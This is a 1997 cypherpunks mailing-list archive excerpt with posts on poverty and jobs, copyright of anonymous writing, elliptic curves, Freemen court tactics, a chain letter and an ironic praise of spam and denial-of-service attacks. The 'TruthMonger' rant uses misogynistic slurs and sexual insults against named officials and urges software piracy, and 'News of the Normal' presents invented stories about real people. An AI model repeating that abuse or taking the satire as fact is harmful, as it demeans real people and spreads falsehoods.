company-policy [employing GAK/CAK] just leave and work for
somebody else" may now be called: "Ad Acta".

Ciao

Harka

/*************************************************************/
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

... Don't you hate it when the pessimists are right all the time?

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBNFJRbDltEBIEF0MBAQFAGgf+PoTI/+900uSojxfC/xKFPsEnco5fp+df
Etn4uJ23l9ZB7QczEuP96JMo+5vmFXc9Tabh5nMkNCRrA3QaAwxFh2+Boc8RvzAv
SBLbjeqnCkvca1EgfOO+eZKv/YcRAZ47JH/w6/g/ggSx3vyM9quFeOqGzljG21au
JdjFhtcdvWP2R79ldGnjswjjuT8MntSGwfx+wiKVQtt6YcK81/OKCBFMaZ8o7JTr
gzYRzv6y+622Z97rUItmdEwQtDqq8k9wtRfmV1xPloqAHJ65VcJ3HI1LoItTmase
oEWPiy6NBIeyN+Nbn+aK/egOalOHev8nX/LqTPxN3TawmxnESldEsg==
=u2Q5
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 26 Oct 1997 04:50:09 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: poverty traps (Re: Sa (fwd)
Message-ID: <199710252113.QAA30388@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: harka@nycmetro.com
> Date: 25 Oct 1997 16:09:58 EDT
> Subject: Re: poverty traps (Re: Sa

> Although my statement was deliberately somewhat exaggerated, it is
> not that far from reality for quite a few people I know.
> 
> A real-life example:

> Is she to be called "stupid" and "selfish" because she's poor
> despite her efforts???
> 
> I don't think so. She, btw., is not the only person I know
> struggeling in this manner from one month into the next, barely
> being able to even catch up on bills.

I know quite few people in that sort of situation.

> Neither does she have a free choice of employers. There is only one
> board of education in the City. Changing for a private school would
> come with (at least a temporary) pay-cut, that she obviously can't
> afford.

I must disagree there. She has the qualifications to obtain employment in
may corporations and such. As a matter of fact, unless she happens to be
inequivicaly wedded to live in her current abode have her send me her
resume. I will be quite happy to submit it to the H/R department at Tivoli
(an IBM company I admit) for a position in our training department (last
time I checked they had like 90 positions they wanted to fill globaly). I
can guarantee the cost of living is somewhat lower than NY here in Texas
and her pay will most likely be higher than current. There is also the
opportunity for global travel if she is interested and were to get hired.

Sending out resumes is cheap, about $.40 a company.

> Therefore:
> 
> Since she isn't the only person I can think of, who is in such a
> position, the argument formerly known as "If 'ya don't like the
> company-policy [employing GAK/CAK] just leave and work for
> somebody else" may now be called: "Ad Acta".

Obviously this is open to alternate interpretation depending upon to what
lengths the party is willing to go to change their life. Skills are what you
sell not a particular job title or duty set.

Complacency and despondancy can be opportunity killers.

[I have attached my 'long' .sig both to include the Tivoli address and to
 aggravate those who bitch about the length of my 'short' .sig]



             "Reality is observer dependant"
                              \
                                \   \\/////
                                    |     | 
                                    (.) (.)
      ===========================oOO==(_)==OOo==========================             

                                  James Choate

         Tivoli Systems, Inc.                   The Armadillo Group
         Senior Engineer                        SOHO - Internet - Technology

         9442 Capitol of Texas Highway North    608 E. 48th.
         Suite 500                              Austin, TX  78751  
         Austin, TX 78759

         Email: jchoate@tivoli.com              Email: ravage@ssz.com
         Phone: 512-436-8893                    Phone: 512-451-7087
         Fax:   512-345-2784                    Fax:   n/a
         WWW:   www.tivoli.com                  WWW:   www.ssz.com
         Modem: n/a                             Modem: 512-451-7009
         Pager: n/a                             Pager: n/a
         Cellular: n/a                          Cellular: n/a

      ===================================================================

         Political ideal: The Constitution says "Congress shall make
                          no law..." & What happened to the 9th &
                          10th Amendments?

         Philosophy: Pantheism - the belief that everything is divine,
                                 that God is not seperate but totaly
                                 identified with the cosmos, and that
                                 God does not possess personality or
                                 transcendence.

         Favorite Cartoon - Danger Mouse & Mighty Mouse (the original)

      ===================================================================


            The end of our exploring will be to arrive at where we
            started, and to know the place for the first time.

                                                 T.S. Eliot

      ===================================================================

                           Adopt, adapt, improvise!

                                            Anonymous

      ===================================================================

            For a succesful technology, reality must take precedence
            over public relations, for nature cannot be fooled.

                                               Richard Feynman

      ===================================================================

            Sometimes it is said that man cannot be trusted with the
            government of himself.  Can he, then, be trusted with
            the government of others? Or have we found angels in the
            forms of kings to govern him?  Let history answer this
            question.

                             Thomas Jefferson, 1st Inaugural Addr

      ===================================================================

            The Chinese icon for crisis consists of the icons for
            danger and opportunity.

                                                An observation
                                                by J. Choate

      ===================================================================

            You are
            What you do
            When it counts

                     The Masao

              





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 26 Oct 1997 05:07:14 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Orthogonality and Disaster Recovery (fwd)
Message-ID: <199710252128.QAA30492@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sat, 25 Oct 1997 13:52:05 -0700
> From: Tim May <tcmay@got.net>
> Subject: Orthogonality and Disaster Recovery

> One of the themes of modern computing I strongly support is that of
> "orthogonality," or clean functionality.

Any idea how a term meaning 'at right angles' came to hold all the various
interpretations it now does?...

I see this word in a lot of my reading and it almost never implies any sort
of 'indipendent multi-variant reference system'.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: News of the Normal <norm@dev.null>
Date: Sun, 26 Oct 1997 07:03:27 +0800
To: cypherpunks@toad.com
Subject: Stuff Your Momma Never Told You...
Message-ID: <345276E4.1430@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



CLOSET STATISTICS DON'T LIE

*Statistics International reports that since gays have come out of the
 closet, snap counts in football have increased an average of 40% in 
 length (up to 70% when either the center or quarterback is named
 'Bruce'.) This figure increases astronomically in College football, 
 in cases where the center is a freshman and the quarterback is a senior
 who is a member of NAMBLA. (North American Man-Boy Love Association)

HAS ANYBODY SEEN MY BOOTSRAPS...???

*Recent revelations revolving 'round revisionist recorrections indicate
 that Horatio Alger died in poverty after the S&L where his funds were 
 deposited collapsed, the head of his pension fund was indicted, his
 former employer could no longer afford to support his 'lifetime' health
 insurance benefits, and Chelsea Clinton robbed him to buy crack cocaine
 as part of her homework for a Stanford 'History of Ebonics' class.

IT'S A TOUGH WAY TO MAKE A LIVING

*NEWS OF THE WEIRD, a nationally syndicated newspaper column founded in
 1988, and distributed by Universal Press Syndicate has finally run its
 course, and will be discontinued in the near future.
 A disappointed Chuck Shepherd told reporters, "I could see that the
 end was coming when President Reagan's statement that 'trees cause 
 more pollution than automobiles' became mainstream news."
 Shepherd went on to say, "I can no longer compete with the regular
 news when citizens are getting toilet plungers stuck up their ass
 every day, parabolically speaking. I've heard that Clinton, Reno and
 Freeh are now a serious threat to the comedy industry, as well. Who
 is going to be foolish enough to pay for our products when they can
 get material of greater quality and quantity free on C-Span and the
 front page of the Washington Post?"


AUTHENTICITY:  All news stories mentioned in News of the
Normal are just shit we make up (or occasionally, get from
supermarket tabloids in other countries or other 
disreputable magazines and journals).  No so-called 
reputable news source, and no story that was not intended
to spread FUD (Fear, Uncertainty and Disinformation) is 
ever the source of a News of the Normal story. 

News of the Normal is not copyrighted by anyone who would
admit to it in public.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ulf =?iso-8859-1?Q?M=F6ller?= <3umoelle@informatik.uni-hamburg.de>
Date: Sun, 26 Oct 1997 06:00:03 +0800
To: cypherpunks@toad.com
Subject: "who owns these words?"
In-Reply-To: <633f314d1dcc4c2315d89ebedf6e75ab@anon.efga.org>
Message-ID: <19971025170136.01289@ulf.dialup.uni-hamburg.de>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Oct 24, 1997 at 03:36:35AM -0400, Anonymous wrote:

> I don't think you know who I am, but I wrote this message.
> 
> These are "my" words, but "I" am anonymous.
> 
> So I am wondering - who owns these words?
> Who owns the words of an anonymous author,

According to copyright law, the anonymous author, with the exception
that the copyright expires 70 years after publication rather than 70
years after the author's death.

> who is responsible for the actions of an unknown party,
> and who is to say that this is so?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: goddesshera@juno.com (Anonymous Remailer)
Date: Sun, 26 Oct 1997 09:48:40 +0800
To: cypherpunks@toad.com
Subject: [Fwd: Fwd: (Fwd) Fw: THIS IS MY KIND OF CHAIN LETTER!!! =)] (fwd)
Message-ID: <19971025.193514.10135.8.goddesshera@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



> here you go! no need to thank me! ;-)
> 
> Since We are ALL so Tired of those Chain Letters!!!!!!!!!!
> 
> THE DEAL IS:  THIS LETTER GIVES YOU THE POWER TO NEVER HAVE TO  SEND
> ANOTHER CHAIN LETTER EVER AGAIN.  YOU SEND THIS TO 10 PEOPLE
> WITHIN
> 7
> DAYS OF
> THE TIME THAT YOU READ IT,  AND FROM THAT POINT ON YOU CAN IGNORE,
> 
> OR
> READ
>     AND DELETE,  ANY CHAIN LETTER SENT TO YOU.  THE BEST PART
> OF
> THIS
> DEAL
> IS,
>      YOU WILL STILL GET ALL OF THE LUCK, LOVE, OR GOOD SEX
> GUARANTEED
> TO
> YOU
> BY
>     ANY CHAIN LETTER YOU READ!
>     EVENTUALLY THIS WILL STOP THE CIRCULATION OF ALL CHAIN
> LETTERS.
> SO,
> IT
> IS
>     VERY IMPORTANT THAT YOU SEND THIS OUT ON TIME!!!  AND THE
> CATCH
>  IS,
> THAT
> IF
>     YOU END UP NOT SENDING THIS ON TIME,  OR NEVER SENDING IT
> AT
> ALL,
> YOU
> WILL
>     GET ALL OF THE BAD LUCK,  NONE OF THE LOVE,  AND NONE OF
> THE
> GOOD
> SEX
> FROM
>     ANY CHAIN LETTER YOU GET.  THIS IS FOR ALL OF THE
> SUPERSTISIOUS
> PEOPLE
> THAT
>     HATE CHAIN LETTERS,  AND ALL OF THE EVIL PEOPLE THAT WRITE
> THEM.
>       GOOD LUCK, LOVE AND SEX TO ALL OF YOU!!!!!!!
> 




This message was automatically remailed. The sender is unknown, unlogged,
and nonreplyable. Send complaints and blocking requests to
<goddesshera@juno.com>.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: semprini@theschool.com
Date: Sun, 26 Oct 1997 10:01:07 +0800
To: cypherpunks@toad.com
Subject: Re: Elliptic Curves
Message-ID: <199710260147.SAA24913@k2.brigadoon.com>
MIME-Version: 1.0
Content-Type: text/plain



I found good online documentation. No need for further help. Just as 
a side note: TruthMonger's command of the English language is 
incredible. :)

-- Dylan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 26 Oct 1997 07:08:44 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Defendants adopt Freemenspeak [CNN]
Message-ID: <199710252334.SAA31096@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>                      MORE DEFENDANTS ADOPT 'FREEMENSPEAK'
>                                        
>      Freemen in court
>      
>   It's gibberish to the judges
>   
>      October 25, 1997
>      Web posted at: 6:33 p.m. EDT (2233 GMT)
>      
>      BILLINGS, Montana (AP) -- Standing scornful and defiant, the
>      defendants shout their cases. They are sovereign citizens, not
>      subject to the court! The judges are unqualified! The lawyers are
>      illegal!
>      
>      "To hell with you and your kangaroo court!" one defendant bellows at
>      his sentencing for dealing drugs.
>      
>      The bizarre claims are trademarks of the Montana Freemen, the
>      militant anti-government zealots who have been jailed here, awaiting
>      trial, since their 81-day standoff ended 16 months ago.
>      
>      But the claims are now coming from garden-variety criminals, fellow
>      inmates in the Yellowstone County jail. These non-Freemen are
>      proving to be ardent students of the convoluted legal fantasies of
>      the jail's most famous residents.
>      
>      They are firing their lawyers, torpedoing their own plea agreements,
>      writing their own legal briefs, arguing -- and losing -- their own
>      cases. They are making life and work difficult, and often miserable,
>      for those who run the court system.
>      
>      Chief public defender Sandy Selvey calls the Freemen a plague. At
>      least seven clients of his office have tried "Freemenspeak" in state
>      court; others have tried it in federal court.
>      
>      "They're contaminating our good criminals," says District Judge
>      Diane Barz, who tangled with the Freemen as a federal prosecutor.
>      
>      About two dozen Freemen have been among the jail's 300 inmates since
>      June 13, 1996, when they surrendered after an armed, 81-day standoff
>      with FBI agents at their isolated farm compound in the remote
>      outback of eastern Montana's "Big Open." Three minor figures have
>      pleaded guilty, but trials for the rest won't begin until next
>      spring.
>      
>      The host of federal charges against them include wire and bank fraud
>      and threatening the life of a federal judge and other public
>      officials. The FBI says some 800 people from around the country
>      attended classes at the rural stronghold, learning to issue the
>      worthless liens and "warrants" that the Freemen claim are legal
>      tender.
>      
>      People in several states have been charged, and some convicted, of
>      trying to use such documents, often bearing the name of Freeman
>      leader Leroy Schweitzer. The Dallas Morning News reported that at
>      least 151 people in 23 states were under investigation for Freeman
>      connections.
>      
>      The Freemen's legal "philosophy" is a jumble of odds and ends from
>      the Bible, the U.S. Constitution, the Magna Carta and the Uniform
>      Commercial Code, the body of federal laws that govern interstate
>      financial transactions.
>      
>      They dress it up in pseudo-scholarly terms and meaningless Latin
>      phrases and claim, in essence, they are laws unto themselves -- and
>      over everyone else.
>      
>      "There are some real gaps in their education, and ... I think they
>      are darned close to acting like the mentally ill," Barz said.
>      
>      The Freemen commonly rant, belch, challenge the federal judges and
>      get banished from the courtroom to watch on closed-circuit TV as
>      appointed lawyers try to defend them. More conventional inmates soon
>      started imitating them.
>      
>      Their verbose legal filings, often prepared by Freemen, are so
>      peculiar that District Court Clerk Jean Thompson rejects many of
>      them.
>      
>      Accused wife-murderer Jerry Swinney filed a 25-page "Demand for Bill
>      of Particulars." Adopting the Freemen's name style -- Jerry period
>      comma Swinney -- it opens this way:
>      
>      "Jerry., Swinney, Affiant, hereinafter at all times relevant,
>      Demandant, a self-realized entity, a Man upon the free soil of the
>      several American independent and sovereign states, ..."
>      
>      Twenty-five eye-glazing pages later, this is how it closes:
>      
>      "NOTICE. This instrument comes under, and brings into the instant
>      action, the doctrines of res gestae, res ipsa loquitor, tacit
>      procuration, prior knowledge, willful intent, as against YOU and you
>      and your private characters. Further affiant sayeth not."
>      
>      County Attorney Dennis Paxinos, public defender Selvey and the
>      judges say the biggest problem the Freemen imitators have created is
>      how to protect themselves from themselves. It may be a bad idea for
>      them to act as their own lawyer -- but it's their legal right.
>      
>      "The judges and prosecutors seem to be as concerned with protecting
>      these Freeman-type people as their own attorneys are," says Deputy
>      County Attorney Joe Coble. "The only people who seem to want to run
>      roughshod over these people's rights are these people themselves."
>      
>      "The real concern I have is trying to figure out if, hidden among
>      the rubble of rhetoric, there's any viable complaint or issue we
>      really should consider," says District Judge G. Todd Baugh.
>      
>      As far as the judges can recall, that hasn't happened yet.
>      
>      "It's incredibly difficult to figure out what they're trying to
>      say," says District Judge Russell Fagg.
>      
>      Judges usually appoint a standby lawyer, often over the defendant's
>      protests.
>      
>      "Standby is the worst possible situation for a defense lawyer,"
>      Selvey said. "You have to know all the facts, all the witnesses and
>      what they'll testify to, all the forensic evidence, and the
>      authorities the guy's going to cite.
>      
>      "And then you have to stand there and watch while he goes down in
>      flames."
>      
>      Copyright 1997   The Associated Press. All rights reserved. This
>      material may not be published, broadcast, rewritten, or
>      redistributed.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Sun, 26 Oct 1997 01:11:23 +0800
To: cypherpunks@ssz.com
Subject: in celebration of informational "vandalism"
Message-ID: <199710251706.TAA04953@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



Forgeries motivate people to adopt digital signature 
technology!  Spam motivates people to develop better filtering 
techniques!  Cracks motivate people to adopt secure systems and
to back-up their important data!  Mailbombs and SYN floods 
motivate people to acquire denial-of-service-attack-resistant 
services!  Trolling a la D.M.Vulis separates the tough and 
realistic from the fragile psyche and nascent censor!


In the world of physical interaction, attacks or acts of 
vandalism are the components of evolutionarily stable
(more or less) strategies of extortion and oppression.
But in the world of information exchange, no such strategy
is evolutionarily stable, and each attack is best regarded
as an opportunity to up your tech and improve your capabilities
while simultaneously defending against further attacks.


:-)


Z





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 26 Oct 1997 01:30:27 +0800
To: cypherpunks@toad.com
Subject: Re: Office of the Secretary of Defense vs the First Amendment
In-Reply-To: <Pine.GSO.3.95.971024204540.26025u-100000@well.com>
Message-ID: <199710251720.TAA25167@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Someone is vastly over-reacting.  I read this letter as a polite request
to do what they think is the "right thing" along with some reasons
intended to gently persuade you that this is a morally correct choice. 

There is no threat.  No hint of compulsion.  It is IMHO utterly legal and
appropriate.

Just as it would be utterly legal to comply with or ignore this
letter. (Appropriateness we could debate...)

No foul.



A. Michael Froomkin          +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law   remailed to foil spam
U. Miami School of Law       froomkin =A=T= law.miami.edu
P.O. Box 248087              http://www.law.miami.edu/~froomkin/
Coral Gables, FL 33124 USA   It's quite warm here





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 26 Oct 1997 07:42:24 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: Defendants adopt Freemenspeak [CNN]
Message-ID: <1.5.4.32.19971025232833.00c26d20@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



All right, Jim, a truly uplifting thigh-slapper. All right, Freemen, 
go for the ranting, belching, farting lingo jumbo, it's how the law 
fogs who's complicit in police power ebonics.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Sun, 26 Oct 1997 10:48:11 +0800
To: CYPHERPUNKS@ssz.com
Subject: Re: poverty traps (Re: Sa
In-Reply-To: <199710252037.PAA30248@einstein.ssz.com>
Message-ID: <3.0.3.32.19971025192922.03137ed0@popd.netcruiser>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3985.1071713743.multipart/signed"

--Boundary..3985.1071713743.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

At 04:09 PM 10/25/97 EDT, harka@nycmetro.com wrote:
>A real-life example:
>
>A single (divorced) mother, 4 kids (3-12 years), working full-time
>and making in theory $42 000/year. After taxes that comes down to
>$2000 cash per month.
>
>In order for her to be able to work her two youngest kids go to a
>day-care-center. Wham! $1000 per month (hiring a baby-sitter would
>amount to even more).
>Her apartment costs $800/month excluding utilities. That leaves
>$200 (+ $800 she gets in child-support) per month for _five_ people
>to live on (clothes, food, utilities, school-books, gas for the
>car, etc.etc.)
>
>One thousand dollars per month for five people!! And that in New
>York City!
>She is not entitled to any support such as free school-meals for
>the kids etc., because she "makes too much money" (_before_ taxes,
>of course!)
>
>What efforts has she made to make "herself more marketable"? She has
>been working ever since the age of 16, went 8 years to College (paid
>by herself and paying rent at the same time) and now has a Masters
>Degree in teaching.
>
>What has it brought her? Bill-collectors calling every day!
>
>She made a calculation and (confirming your statement) came to the
>conclusion, that she indeed would have _more_ money by not working
>at all and simply going on welfare.
>
>However, that is not a choice she wants to make.
>
>Is she to be called "stupid" and "selfish" because she's poor
>despite her efforts???
>
>I don't think so. She, btw., is not the only person I know
>struggeling in this manner from one month into the next, barely
>being able to even catch up on bills.
>
>Neither does she have a free choice of employers. There is only one
>board of education in the City. Changing for a private school would
>come with (at least a temporary) pay-cut, that she obviously can't
>afford.

This whole sob story makes me want to puke.  First of all, there are
thousands of cities in the US with a higher wage-to-cost-of-living ratio
that socialist cesspool New York City.  Anyone stupid enough to volunteer
to live in a city with one of the most confiscatory tax policies in the
country deserves what they get.

I currently live in a 900 square foot, 2-bedroom condo in Vacaville,
California, in a not-so-nice part of town.  I have to keep paint on hand to
cover the gang graffiti that grows in my carport, in 2 years I have
personally witnessed 2 gang assaults, (one of which resulted in an
individual being medevac'd to a local hospital) and I have good reason to
believe that there are some drug dealers moving into my neighborhood.  I am
currently paying a $67,000 mortgage for the privilege of living here.  For
the same money, I could purchase a 40 acre woodlot with a stream running
through it, and a 4 bedroom house, near Clare, Michigan.  Why do I stay
here?  Mainly so I can be near my wife and son, but I also have a job that
I really like, even though it doesn't pay much.  Does my financial
situation suck?  You bet!  My finances are in worse shape than those of the
woman described above.  Do I expect (or deserve) the pity of others?
Absolutely not!  Do I need some kind of government handout to save me from
my pathetic life?  Absolutely not!

I am where I am at because of choices I have made, and I can make choices
that will change my situation for the better.  This is the beauty of
America.  If you are willing to do what it takes (although most people
aren't) you can improve ypur lot in life.

Jonathan Wienke

What part of "the right of the people to keep and bear Arms, shall not be
infringed" is too hard to understand? (From 2nd Amendment, U.S. Constitution)

PGP 2.6.2 RSA Key Fingerprint: 7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
DSS/D-H Key Fingerprint: 3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC
Public keys available at pgpkeys.mit.edu. PGP encrypted e-mail preferred.

US/Canadian Windows 95/NT or Mac users:
Get Eudora Light + PGP 5.0 for free at http://www.eudora.com/eudoralight/
Get PGP 5.0 for free at http://bs.mit.edu:8001/pgp-form.html

Non-US PGP 5.0 sources:
http://www.ifi.uio.no/pgp/
http://www.heise.de/ct/pgpCA/download.shtml
ftp://ftp.pca.dfn.de/pub/pgp/V5.0/
ftp://ftp.fu-berlin.de/pub/pc/win95/pgp
ftp://ftp.fu-berlin.de/pub/mac/pgp
http://www.shopmiami.com/utopia.hacktic.nl/pub/replay/pub/pgp/pgp50/win/

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

Stupidity is the one arena of of human achievement where most people
fulfill their potential.

--Boundary..3985.1071713743.multipart/signed
Content-Type: application/octet-stream; name="pgp00007.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00007.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0KVmVyc2lvbjogUEdQIGZv
ciBQZXJzb25hbCBQcml2YWN5IDUuMApNZXNzYWdlSUQ6IDJ2M25xUk8vZmlT
RDZJMkZWNjI5R3pWanVpbnVrNXBwCgppUUEvQXdVQk5GS3VITUpGMGtYcXB3
M01FUUlUckFDZlZ6L1BncHAxc1R5Wm0rTWVzSEUyS0NsUUhhTUFvTXNPCkt1
OVk4SHREdmRFZlZSNVpPM0w3RlZweAo9MGRLeQotLS0tLUVORCBQR1AgU0lH
TkFUVVJFLS0tLS0K
--Boundary..3985.1071713743.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dylan N. Vitt" <semprini@theschool.com>
Date: Sun, 26 Oct 1997 12:33:19 +0800
To: cypherpunks@toad.com
Subject: Re: Elliptic Curves
In-Reply-To: <2.2.32.19971026011202.0106cdc0@popd.ix.netcom.com>
Message-ID: <199710260419.VAA15700@k2.brigadoon.com>
MIME-Version: 1.0
Content-Type: text/plain



On 25 Oct 97 at 22:12, MJ S wrote:
> 
> Could you send me this information too... thanks.
> 
> Mark
> 
> 

A good explanation of elliptic curves, their application, etc. can be 
found at http://www.certicom.com/ecc

I found this site was mislinked in numerous places as 
http://www.certicom.com/html/ecc, for those of you with web-sites 
having links to this site.

--Dylan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sun, 26 Oct 1997 11:01:12 +0800
To: cypherpunks@toad.com
Subject: Buttfucking Bad BillyG
Message-ID: <3452AEF3.3B0A@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



It looks like the DOJ is getting tired of bungholing the cold, dead
carcass of Horatio Alger, and is now looking for a fresh, pink rim to
act as a depository for the zygote of the Reptilian Nazis that they
are bringing out of their secret underground bunkers to head the FBI
Criminal Factory/Crime Laboratory and the IRS.

I've spent more than my share of time on the front-lines of the computer
industry, throwing rocks at the windows of the MS-DOS code-writers, but
I also spent a fair amount of time searching out tools, such as 4DOS,
which allowed me to route around the damage caused by a PC market base
of end-users whose biggest concern was not chipping their nails while
typing, so they would look good when flirting with the guys in suits
who showed up to charge their bosses outrageous sums of money for making
all of the dichotomous software enemies of the MS-DOS operating system 
play nicely with one another without leaving blood on the hard drive.

As 'The World's Foremost Computer Expert', I tried to talk some sense
into Unix and Xenix producers and vendors.
"Give the shit away!" I told them, time and time again. "You're not
going to go broke having everyone in the fucking world using your
product, and counting on you for support."
They wouldn't listen. Usually, they just bought a few copies of my
Country Porno albums and sent me on my way.

I wanted to provide my individual customers with UNIX/XENIX OS's
and applications, but the producers and vendors didn't want my
individual customers' business. They wanted a Grand to say 'hello'
and a million bucks worth of software and support sales so that
even their janitors could buy a new suit in this year's latest
'power color.'
So I put my corporate customers into UNIX/XENIX and my individual
customers into MS-DOS.
And I am not interested in hearing Sun Microsystems or anyone else
whining about Bad BillyG capturing the market that he was going
after while they captured the market that they were going after.

SCO finally came out with a single/double user GUI product (can't
even remember it's name) which was years ahead of what Windows
finally became after M$ legally ripped off Apple's face mask.
I screamed at them to provide it at a price that was simply
outrageous instead of totally outrageous, so that I could sell
it to people who were willing to put off buying a second Ferrari
so that they could work with a decent operating system.
SCO told me to fuck off.

The DOJ seems deathly concerned that M$'s customers are going to
get an InterNet browser "basically, for free."
Oh horror, oh horror.
I got M$ Explorer for free. I use Nut$crape.
I got Nut$crape for free too. ($19.95 with 100 hours of Net time
on Sympatico) I installed it, and it worked for me.
I installed M$ Explorer and didn't want to take the time and trouble to
learn all the fancy shit it does, so I uninstalled it. (My ISP tweaked
their version of Nut$crape so that it works fine out of the box)

My lifelong dream is to have Bad BillyG show up on my doorstep to 
install all of the M$ products I have so that they will work without me
having to pull out my hair figuring them all out, and to bring MickJ
with him, so I can get a blow-job from those fat, sexy lips while I
watch BBG at work.
Now my hopes are dashed, because Nazi Cunt Reno, child-murderer, is
afraid that I might be a lobotomized, brain-dead idiot with no free-will
and she wants to protect me from the Bad Man.

Fuck Nazi Cunt Reno (with _your_ dick, not mine)!
At least Bad BillyG hasn't burned any children to death recently (though
he did give a couple of them 2nd degree burns as a result of learning
how to freebase from Richard Pryor).

Even when doing all of my serious bid'ness on UNIX/XENIX OS's, I still
did all of my writing with a PC, using M$ Word. Because I *like* it!
When lying awake at night, plotting my armed assault on the Micro$oft
Corporate office, for all of the pain and suffering they have put me
through over the years, I always planned to let those working in the
M$ Word division off with just a sound thrashing, for making the pain
bearable.
Now Janet Reno wants to jump my claim to revenge against the Big M$
and she likely wants to whack out my pals in the M$ Word division,
as well.
This means war!

Fresh From the Clue Server!!!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The upcoming Millennium is going to usher in a battle between Big
Brother/Governments and Medium Brother/Corporations.
Big Brother has control of most of the weapons, and the serious
firepower is in the hands of their armed thugs.
Medium brother has control of most of the electronic weapons, but
the serious firepower is in *our* hands. We *ARE* the electronic
armed forces.
The Corporations can 'take' the government in the upcoming battle,
and we can 'take' the Corporations if they decide they want to 
move up a notch, to Big Brother status.

Reality is that M$ is a fraction of the size of other industry
players such as IBM, etc.
Reality is that if the Corporate Giants want to oppress us, we are
in a much better position to tell them to go fuck themselves. We
can use pirated software and pirated hardware.
I can't give you a Nuke if the government wants to fuck you over,
but I can give you a copy of Win2000 if M$ wants to fuck you over.

Reality is that our best chance for getting the Government to fall
into line with true freedom and democracy is to back the rise of
Corporations in the Net World Order.
Reality is that the Government doesn't really need our votes, but
the Corporations need our bucks.
Reality is that many more of us are in a postition to say "No" to
Corporations than are in a postition to say "No" to Governments.

Our power lies in the workplace. We can still rule our workplace.
{We are all guerilla warriors, under the leadership of Che Dilbert.)

The Millennial War is InfoWar. It will take place in CyberSpace and
in MindSpace. We need to fight for control of our Virtual Reality.
It is InterActive, and *we* need to *act* from our end of the Inter.

Micro$oft/Nut$crape/$un Microsystems? Who do we 'back'?
We 'back' anyone who will make our access to and control of information
stronger, and the Governments' electronic contol of us weaker.
Scream loud and long at the DOJ Fascists for their attack on M$, and 
then go out and buy Nut$crape. Scream loud and long at the DOJ Fascists
for their anti-trust actions against Intel, and then go out and by an
Apple/Mac. (And get M$ Word for Macintosh! Keep 'em confused!)

InfoWarMonger
"It's not InfoWar until *you* realize it's InfoWar!"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 26 Oct 1997 03:22:25 +0800
To: cypherpunks@cyberpass.net
Subject: Re: PGP Employee on MKR
